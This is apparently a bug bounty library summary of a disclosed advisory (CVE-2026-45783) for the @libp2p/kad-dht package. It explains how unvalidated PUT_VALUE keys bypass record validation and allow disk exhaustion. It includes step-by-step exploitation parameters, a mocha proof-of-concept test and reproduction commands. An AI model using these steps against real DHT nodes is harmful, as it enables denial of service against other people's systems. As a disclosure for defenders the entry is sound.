# @libp2p/kad-dht: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes

Unvalidated PUT_VALUE keys with fewer than three slash-parts bypass verifyRecord and are stored, letting any peer fill a kad-dht server's datastore until disk exhaustion.

- Payout: Research
- Severity: high
- Program: @libp2p/kad-dht
- Found by: tahaafarooq
- Disclosed: 2026-05-19
- CVE: CVE-2026-45783
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-32mq-hpph-xfvr
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-32mq-hpph-xfvr
- Tags: area:devices domain:network domain:oss impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:parser-differential technique:source-review vuln:access-control vuln:dos

**Target:** libp2p DHT RPC PUT_VALUE handler / record validators
**Root cause:** verifyRecord silently returns success when the key's UTF-8 form splits into fewer than 3 slash-delimited parts, so no validator runs and the record is written; the RPC read loop also resets its inactivity timeout per message with no per-stream count or byte budget.
**Steps:**
1. Connect to a kad-dht node in server mode (clientMode: false) over libp2p TLS.
2. Craft a PUT_VALUE message whose key bytes decode to a string with <3 '/' parts, e.g. `new Uint8Array([0x01,0x02,0x03])`.
3. Attach a large record value (up to DEFAULT_MAX_DATA_LENGTH = 4 MB) and send via LP-encoded protobuf stream.
4. Repeat with unique keys within the 10s inactivity window across up to 32 concurrent inbound streams.
5. Observe each record written under `/record/...` in the victim datastore with no validation error.
**How found:** Code review of validators.ts spotted the silent early-return for keys with <3 slash-parts, then reading rpc/index.ts revealed the per-message timeout reset with no message count or byte budget; compared against go-libp2p-kad-dht which rejects unknown namespaces at the RPC layer.
**Exploitation:** Attacker opens up to 32 inbound streams (DEFAULT_MAX_INBOUND_STREAMS) and streams PUT_VALUE messages, each up to 4 MB, keeping each message within the 10s inactivity timeout so the timer resets indefinitely. Each unique short key creates a new datastore entry, filling the victim's disk until the node and any co-located application data become unavailable.
**Escalation:** Shared datastore backend (e.g. IPFS repo) means disk exhaustion also blocks peer store and other application writes, taking down the whole node.
**Insight:** When a validator dispatches on key namespace, check what happens for keys that match no namespace — silent success is a bypass. Also audit read loops that reset inactivity timeouts per message: they permit unbounded message counts.

## Proof of concept (copied exactly from the original report)

**PoC test: repeated writes grow datastore unchecked**

```
it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {
    const MESSAGES = 8
    const VALUE_SIZE = 16 * 1024  // 16 KB each

    for (let i = 0; i < MESSAGES; i++) {
      // Unique key per message → unique datastore entry per write
      const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])
      const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)
      const record = new Libp2pRecord(craftedKey, value, new Date())

      const msg: Partial<Message> = {
        type: MessageType.PUT_VALUE,
        key: craftedKey,
        record: record.serialize()
      }

      const [outboundStream, incomingStream] = await streamPair()

      const responseReceived = pDefer<void>()
      outboundStream.addEventListener('message', () => { responseReceived.resolve() })

      queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })
      const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())

      await responseReceived.promise
      incomingStream.abort(new Error('test cleanup'))
      await victimDone.catch(() => {})
    }

    const keys: string[] = []
    for await (const { key } of datastore.query({})) {
      keys.push(key.toString())
    }
    const dhtRecords = keys.filter(k => k.includes('/record/'))

    assert.strictEqual(dhtRecords.length, MESSAGES,
      `expected ${MESSAGES} records stored`)

    const totalKB = (MESSAGES * VALUE_SIZE) / 1024
    console.log(`\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)
    console.log('[PoC] No per-peer write budget. No per-stream message count limit.')
    console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')
  })
```

**Reproduction commands to run PoC**

```
git clone https://github.com/libp2p/js-libp2p.git
cd js-libp2p
npm install
cd packages/kad-dht
npx aegir build
node --experimental-vm-modules ../../node_modules/.bin/mocha \
  'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000
```

